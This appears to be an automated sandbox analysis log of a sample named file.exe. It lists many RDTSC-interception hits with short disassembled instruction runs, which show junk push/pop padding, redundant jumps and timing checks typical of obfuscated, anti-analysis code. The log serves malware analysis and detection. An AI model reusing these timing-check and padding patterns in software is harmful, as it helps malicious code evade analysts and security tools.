Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31716 second address: D3171C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3171C second address: D31720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31DAB second address: D31DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F3EDD0B9248h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31DC1 second address: D31DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F3EDCBDB9A6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b jp 00007F3EDCBDB9A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36080 second address: D36084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A207 second address: D3A222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDCBDB9B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A222 second address: D3A226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A226 second address: D3A238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3EDCBDB9AAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A752 second address: D3A758 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A758 second address: D3A75F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A75F second address: D3A76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A76C second address: D3A772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A8BE second address: D3A8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AA0B second address: D3AA17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AB5C second address: D3AB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3EDD0B924Ch 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AB6F second address: D3AB81 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EDCBDB9A8h 0x00000008 jc 00007F3EDCBDB9B8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AB81 second address: D3AB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B924Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AB99 second address: D3AB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AB9F second address: D3ABA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AE7E second address: D3AE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AE84 second address: D3AE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3EDD0B9246h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B02A second address: D3B02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B02F second address: D3B074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F3EDD0B9259h 0x0000000a jmp 00007F3EDD0B9250h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3EDD0B9254h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B074 second address: D3B078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B078 second address: D3B0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3EDD0B924Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F3EDD0B9250h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B0A0 second address: D3B0B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007F3EDCBDB9A6h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B621 second address: D3B627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E86B second address: D3E89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3EDCBDB9B2h 0x0000000d jnc 00007F3EDCBDB9AEh 0x00000013 je 00007F3EDCBDB9ACh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42EB1 second address: D42EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42EB5 second address: D42EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41D61 second address: D41D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02893 second address: D028CD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EDCBDB9BEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F3EDCBDB9B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02977 second address: D0297B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0297B second address: D029D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3EDCBDB9BBh 0x0000000c jmp 00007F3EDCBDB9B5h 0x00000011 popad 0x00000012 add dword ptr [esp], 1070AB4Eh 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F3EDCBDB9A8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D2D65h], esi 0x00000039 push F4ED107Fh 0x0000003e pushad 0x0000003f js 00007F3EDCBDB9ACh 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02A9E second address: D02AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EDD0B9255h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02AB7 second address: D02ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02ABB second address: D02AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F3EDD0B9251h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02C1A second address: D02C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E2E second address: D02E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E34 second address: D02E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D02E3A second address: D02E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03224 second address: D03228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03228 second address: D0322E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0322E second address: D03233 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03233 second address: D03245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F3EDD0B9248h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03245 second address: D03292 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EDCBDB9A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F3EDCBDB9A8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2DCFh] 0x0000002b mov cx, E7A7h 0x0000002f push 0000001Eh 0x00000031 mov ecx, dword ptr [ebp+122D2B47h] 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a js 00007F3EDCBDB9ACh 0x00000040 je 00007F3EDCBDB9A6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03292 second address: D03298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03298 second address: D032C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F3EDCBDB9A8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D032C2 second address: D032C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D032C8 second address: D032CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0365F second address: D03676 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EDD0B9248h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F3EDD0B9246h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03676 second address: D0368E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42062 second address: D4206E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F3EDD0B9246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4206E second address: D420A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3EDCBDB9A6h 0x00000009 jmp 00007F3EDCBDB9AEh 0x0000000e jg 00007F3EDCBDB9A6h 0x00000014 jmp 00007F3EDCBDB9B5h 0x00000019 popad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D420A6 second address: D420DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9250h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F3EDD0B9254h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F3EDD0B9246h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42212 second address: D42228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42228 second address: D4222E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4222E second address: D42233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42233 second address: D42239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42239 second address: D4223F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42389 second address: D4238F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42619 second address: D42623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42623 second address: D42654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDD0B9257h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F3EDD0B9250h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D428E3 second address: D428F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EDCBDB9ACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49142 second address: D49157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F3EDD0B9246h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49157 second address: D4915B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47EAA second address: D47EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F3EDD0B925Bh 0x0000000b jmp 00007F3EDD0B9253h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F3EDD0B924Bh 0x00000017 popad 0x00000018 je 00007F3EDD0B9260h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jnl 00007F3EDD0B9246h 0x00000027 popad 0x00000028 pushad 0x00000029 jnc 00007F3EDD0B9246h 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48482 second address: D48488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48635 second address: D48659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3EDD0B9246h 0x0000000a popad 0x0000000b pop esi 0x0000000c push ecx 0x0000000d jmp 00007F3EDD0B9253h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48659 second address: D4865D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4865D second address: D48663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47BD9 second address: D47BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EDCBDB9ABh 0x00000009 pop esi 0x0000000a jmp 00007F3EDCBDB9AAh 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B2B6 second address: D4B2E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F3EDD0B9246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3EDD0B9251h 0x00000011 je 00007F3EDD0B924Eh 0x00000017 jo 00007F3EDD0B9246h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B2E8 second address: D4B320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F3EDCBDB9ADh 0x0000000f jmp 00007F3EDCBDB9B3h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E6A7 second address: D4E6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E6AD second address: D4E6C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDCBDB9ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E104 second address: D4E11E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EDD0B9251h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E11E second address: D4E159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jng 00007F3EDCBDB9A6h 0x0000000c jmp 00007F3EDCBDB9B1h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F3EDCBDB9B9h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E159 second address: D4E163 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EDD0B9246h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E163 second address: D4E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDCBDB9B1h 0x0000000e pushad 0x0000000f jmp 00007F3EDCBDB9AFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E18F second address: D4E194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4A81 second address: CC4A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51B3C second address: D51B56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EDD0B924Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51B56 second address: D51B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CB6 second address: D51CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CBA second address: D51CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CBE second address: D51CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CC4 second address: D51CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CCA second address: D51CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5201F second address: D5202D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3EDCBDB9A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5202D second address: D52044 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3EDD0B9246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jg 00007F3EDD0B9246h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52044 second address: D5204A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D555A2 second address: D555A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D555A6 second address: D555BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3EDCBDB9AEh 0x0000000f rdtsc
